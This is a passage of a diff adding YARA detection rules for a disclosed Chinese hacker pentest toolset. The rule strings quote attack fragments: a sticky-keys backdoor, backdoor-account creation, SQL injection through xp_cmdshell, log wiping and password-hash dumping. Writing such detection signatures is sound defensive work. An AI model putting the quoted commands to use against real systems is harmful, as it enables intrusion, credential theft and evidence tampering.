+		date = "2015-06-23"
+		score = 70
+		hash = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+	strings:
+		$s1 = "%s -slave  ConnectHost ConnectPort TransmitHost TransmitPort" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "%s -connect ConnectHost [ConnectPort]       Default:%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "[+] got, ip:%s, port:%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "[-] There is a error...Create a new connection." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_DictionaryGenerator {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file DictionaryGenerator.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b3071c64953e97eeb2ca6796fab302d8a77d27bc"
+	strings:
+		$s1 = "`PasswordBuilder" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "cracker" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3650KB and all of them
+}
+
+rule CN_Honker_ms11080_withcmd {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11080_withcmd.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+	strings:
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[>] create pipe error" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 340KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v2.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a995451d9108687b8892ad630a79660a021d670a"
+	strings:
+		$s1 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "2011-2012 T00LS&RICES" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule CN_Honker_HASH_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 32.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf4a8b4b3e906e385feab5ea768f604f64ba84ea"
+	strings:
+		$s5 = "[Undefined OS version]  Major: %d Minor: %d" fullword ascii
+		$s8 = "Try To Run As Administrator ..." fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "Specific LUID NOT found" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and all of them
+}
+
+rule CN_Honker_windows_mstsc_enhanced_RMDSTC {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file RMDSTC.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3ca2b1b6f31219baf172abcc8f00f07f560e465f"
+	strings:
+		$s0 = "zava zir5@163.com" fullword wide
+		$s1 = "By newccc" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_sig_3389_mstsc_MSTSCAX {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MSTSCAX.DLL"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2fa006158b2d87b08f1778f032ab1b8e139e02c6"
+	strings:
+		$s1 = "ResetPasswordWWWx" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Terminal Server Redirected Printer Doc" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Cleaning temp directory" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_T00ls_scanner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls_scanner.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "70b04b910d82b32b90cd7f355a0e3e17dd260cb3"
+	strings:
+		$s0 = "http://cn.bing.com/search?first=1&count=50&q=ip:" fullword wide
+		$s17 = "Team:www.t00ls.net" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 330KB and all of them
+}
+
+rule CN_Honker_GetHashes {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dc8bcebf565ffffda0df24a77e28af681227b7fe"
+	strings:
+		$s0 = "SAM\\Domains\\Account\\Users\\Names registry hive reading error!" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "GetHashes <SAM registry file> [System key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Note: Windows registry file shall begin from 'regf' signature!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 87KB and 2 of them
+}
+
+rule CN_Honker_hashq_Hashq {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Hashq.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7518b647db5275e8a9e0bf4deda3d853cc9d5661"
+	strings:
+		$s1 = "Hashq.exe" fullword wide
+		$s5 = "CnCert.Net" fullword wide
+		$s6 = "Md5 query tool" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule CN_Honker_ShiftBackdoor_Server {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Server.dat"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b24d761c6bbf216792c4833890460e8b37d86b37"
+	strings:
+		$s0 = "del /q /f %systemroot%system32sethc.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "cacls %s /t /c /e /r administrators" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\dllcache\\sethc.exe" fullword ascii
+		$s3 = "\\ntvdm.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule CN_Honker_exp_win2003 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file win2003.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "47164c8efe65d7d924753fadf6cdfb897a1c03db"
+	strings:
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "The shell \"cmd\" success!" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Not Windows NT family OS." fullword ascii /* PEStudio Blacklist: os */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_Interception3389_setup {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file setup.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f5b2f86f8e7cdc00aa1cb1b04bc3d278eb17bf5c"
+	strings:
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\%s" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "%s\\temp\\temp%d.bat" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "EventStartShell" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "del /f /q \"%s\"" fullword ascii
+		$s7 = "\\wminotify.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_CnCerT_CCdoor_CMD_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll2"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7f3a6fb30845bf366e14fa21f7e05d71baa1215a"
+	strings:
+		$s0 = "cmd.dll" fullword wide
+		$s1 = "cmdpath" fullword ascii
+		$s2 = "Get4Bytes" fullword ascii
+		$s3 = "ExcuteCmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 22KB and all of them
+}
+
+rule CN_Honker_exp_ms11046 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11046.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+	strings:
+		$s0 = "[*] Token system command" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[*] Add to Administrators success" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 3 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_Master_beta_1_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Master_beta_1.7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3be7a370791f29be89acccf3f2608fd165e8059e"
+	strings:
+		$s1 = "http://seo.chinaz.com/?host=" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Location: getpass.asp?info=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 312KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file f4ck_2.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0783661077312753802bd64bf5d35c4666ad0a82"
+	strings:
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s8 = "Administrators" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 14 times */
+		$s9 = "F4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule CN_Honker_sig_3389_80_AntiFW {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AntiFW.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5fbc75900e48f83d0e3592ea9fa4b70da72ccaa3"
+	strings:
+		$s1 = "Set TS to port:80 Successfully!" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Now,set TS to port 80" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo. >>amethyst.reg" fullword ascii
+		$s4 = "del amethyst.reg" fullword ascii
+		$s5 = "AntiFW.cpp" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_wwwscan_gui {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan_gui.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
+	strings:
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "/eye2007Admin_login.aspx" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 280KB and all of them
+}
+
+rule CN_Honker_SwordCollEdition {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SwordCollEdition.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6e14f21cac6e2aa7535e45d81e8d1f6913fd6e8b"
+	strings:
+		$s0 = "YuJianScan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "YuJianScan" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 225KB and all of them
+}
+
+rule CN_Honker_HconSTFportable {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file HconSTFportable.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "00253a00eadb3ec21a06911a3d92728bbbe80c09"
+	strings:
+		$s1 = "HconSTFportable.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "www.Hcon.in" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 354KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v3_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
+	strings:
+		$s1 = "FreeHostKillexe.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\sethc.exe /G everyone:F" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "c:\\1.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Set user Group Error! Username:" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_Without_a_trace_Wywz {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Wywz.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f443c43fde643228ee95def5c8ed3171f16daad8"
+	strings:
+		$s1 = "\\Symantec\\Norton Personal Firewall\\Log\\Content.log" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "UpdateFile=d:\\tool\\config.ini,Option\\\\proxyIp=127.0.0.1\\r\\nproxyPort=808" ascii /* PEStudio Blacklist: strings */
+		$s3 = "%s\\subinacl.exe /subkeyreg \"%s\" /Grant=%s=f /Grant=everyone=f" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1800KB and all of them
+}
+
+rule CN_Honker_LPK2_0_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a1226e73daba516c889328f295e728f07fdf1c3"
+	strings:
+		$s1 = "\\sethc.exe /G everyone:F" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "net1 user guest guest123!@#" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\dllcache\\sethc.exe" fullword ascii
+		$s4 = "sathc.exe 211" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1030KB and all of them
+}
+
+rule CN_Honker_cleaniis {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cleaniis.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "372bc64c842f6ff0d9a1aa2a2a44659d8b88cb40"
+	strings:
+		$s1 = "iisantidote <logfile dir> <ip or string to hide>" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "IIS log file cleaner by Scurt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_arp3_7_arp3_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file arp3.7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "db641a9dfec103b98548ac7f6ca474715040f25c"
+	strings:
+		$s1 = "CnCerT.Net.SKiller.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "www.80sec.com" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule CN_Honker_exp_ms11080 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11080.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+	strings:
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "[*] Add to Administrators success" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 840KB and all of them
+}
+
+rule CN_Honker_Injection_transit {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Injection_transit.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f4fef2e3d310494a3c3962a49c7c5a9ea072b2ea"
+	strings:
+		$s0 = "<description>Your app description here</description> " fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Copyright (C) 2003 ZYDSoft Corp." fullword wide /* PEStudio Blacklist: os */
+		$s5 = "ScriptnackgBun" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3175KB and all of them
+}
+
+rule CN_Honker_Safe3WVS {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Safe3WVS.EXE"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fee3acacc763dc55df1373709a666d94c9364a7f"
+	strings:
+		$s0 = "2TerminateProcess" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "mscoreei.dll" fullword ascii /* reversed goodware string 'lld.ieerocsm' */
+		$s7 = "SafeVS.exe" fullword wide
+		$s8 = "www.safe3.com.cn" fullword wide
+		$s20 = "SOFTWARE\\Classes\\Interface\\" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_NBSI_3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file NBSI 3.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "93bf0f64bec926e9aa2caf4c28df9af27ec0e104"
+	strings:
+		$s1 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide /* PEStudio Blacklist: strings */
+		$s2 = "http://localhost/1.asp?id=16" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = " exec master.dbo.xp_cmdshell @Z--" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2600KB and 2 of them
+}
+
+rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_2_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 2.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e8ee982421ccff96121ffd24a3d84e3079f3750f"
+	strings:
+		$s0 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "UBrute.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 980KB and 2 of them
+}
+
+rule CN_Honker_hkmjjiis6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file hkmjjiis6.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+	strings:
+		$s14 = "* FROM IIsWebInfo/r" fullword ascii
+		$s19 = "ltithread4ck/" fullword ascii
+		$s20 = "LookupAcc=Sid#" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 175KB and all of them
+}
+
+rule CN_Honker_clearlogs {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file clearlogs.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "490f3bc318f415685d7e32176088001679b0da1b"
+	strings:
+		$s2 = "- http://ntsecurity.nu/toolbox/clearlogs/" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Error: Unable to clear log - " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule CN_Honker_no_net_priv_esc_AddUser {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AddUser.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4c95046be6ae40aee69a433e9a47f824598db2d4"
+	strings:
+		$s0 = "PECompact2" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "adduser" fullword ascii
+		$s5 = "OagaBoxA" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule CN_Honker_Injection {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Injection.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+	strings:
+		$s0 = "http://127.0.0.1/6kbbs/bank.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "jmPost.asp" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule CN_Honker_SQLServer_inject_Creaked {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SQLServer_inject_Creaked.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "af3c41756ec8768483a4cf59b2e639994426e2c2"
+	strings:
+		$s1 = "http://localhost/index.asp?id=2" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Email:zhaoxypass@yahoo.com.cn<br>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8110KB and all of them
+}
+
+rule CN_Honker_WebScan_WebScan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebScan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a0b0e2422e0e9edb1aed6abb5d2e3d156b7c8204"
+	strings:
+		$s1 = "wwwscan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "WWWScan Gui" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_GetHashes_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "35ae9ccba8d607d8c19a065cf553070c54b091d8"
+	strings:
+		$s1 = "GetHashes.exe <SAM registry file> [System key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "GetHashes.exe $Local" fullword ascii
+		$s3 = "The system key doesn't match SAM registry file!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 2 of them
+}
+
+rule CN_Honker_Acunetix_Web_Vulnerability_Scanner_8_x_Enterprise_Edition_KeyGen {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Acunetix_Web_Vulnerability_Scanner_8.x_Enterprise_Edition_KeyGen.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e32f5de730e324fb386f97b6da9ba500cf3a4f8d"
+	strings:
+		$s0 = "<description>Patch</description>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\dup2patcher.dll" fullword ascii
+		$s3 = "load_patcher" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule CN_Honker_Tuoku_script_oracle_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file oracle.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "865dd591b552787eda18ee0ab604509bae18c197"
+	strings:
+		$s0 = "webshell" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Silic Group Hacker Army " fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_net_packet_capt {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file net_packet_capt.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2d45a2bd9e74cf14c1d93fff90c2b0665f109c52"
+	strings:
+		$s1 = "(*.sfd)" fullword ascii
+		$s2 = "GetLaBA" fullword ascii
+		$s3 = "GAIsProcessorFeature" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1 times */
+		$s4 = "- Gablto " ascii
+		$s5 = "PaneWyedit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_CleanIISLog {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CleanIISLog.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+	strings:
+		$s1 = "Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_HASH_pwhash {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file pwhash.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "689056588f95749f0382d201fac8f58bac393e98"
+	strings:
+		$s1 = "Example: quarks-pwdump.exe --dump-hash-domain --with-history" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "quarks-pwdump.exe <options> <NTDS file>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them
+}
+
+rule CN_Honker_cleaner_cl_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cl.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "523084e8975b16e255b56db9af0f9eecf174a2dd"
+	strings:
+		$s0 = "cl -eventlog All/Application/System/Security" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "clear iislog error!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_SqlMap_Python_Run {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Run.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a51479a1c589f17c77d22f6cf90b97011c33145f"
+	strings:
+		$s1 = ".\\Run.log" fullword ascii
+		$s2 = "[root@Hacker~]# Sqlmap " fullword ascii
+		$s3 = "%sSqlmap %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_SAMInside {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SAMInside.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "707ba507f9a74d591f4f2e2f165ff9192557d6dd"
+	strings:
+		$s0 = "www.InsidePro.com" fullword wide
+		$s1 = "SAMInside.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 650KB and all of them
+}
+
+rule CN_Honker_WebScan_wwwscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+	strings:
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
